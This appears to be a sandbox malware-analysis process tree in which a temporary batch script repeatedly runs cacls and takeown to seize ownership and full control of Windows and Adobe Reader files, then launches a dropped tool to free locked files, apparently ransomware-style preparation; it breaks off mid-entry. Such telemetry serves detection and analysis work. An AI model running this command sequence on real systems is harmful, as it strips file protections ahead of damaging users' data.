C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\es-ES\msoeres.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\es-ES\msoeres.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\es-ES\msoeres.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "msoeres.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\WinMail.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\WinMail.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\WinMail.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "cryptocme2.sig" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "cryptocme2.sig" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "pmd.cer" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "pmd.cer" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "email_initiator.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "email_initiator.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "pdf.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "pdf.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "server_issue.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "server_issue.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CourierStd.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CourierStd.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "zx______.pfm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "zx______.pfm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "can32.clx" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "can32.clx" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "symbol.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "symbol.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "SYMBOL.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "SYMBOL.TXT" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Microsoft Games\Chess\ChessMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Chess\ChessMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Chess\ChessMCE.png"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ChessMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ChessMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\de-DE\JNTFiltr.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\JNTFiltr.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\en-US\Journal.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\Journal.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\Journal.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Journal.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Journal.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\es-ES\PDIALOG.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\PDIALOG.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\PDIALOG.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PDIALOG.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PDIALOG.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\it-IT\jnwmon.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\jnwmon.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\jnwmon.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\ja-JP\NBMapTIP.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\NBMapTIP.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Month_Calendar.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Month_Calendar.jtp" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\es-ES\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\es-ES\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\es-ES\WinMail.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ended_review_or_form.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ended_review_or_form.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "reviewers.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "reviewers.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "server_lg.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "server_lg.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "turnOnNotificationInTray.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "turnOnNotificationInTray.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf" /E /G Admin:F /C3⤵
-
-
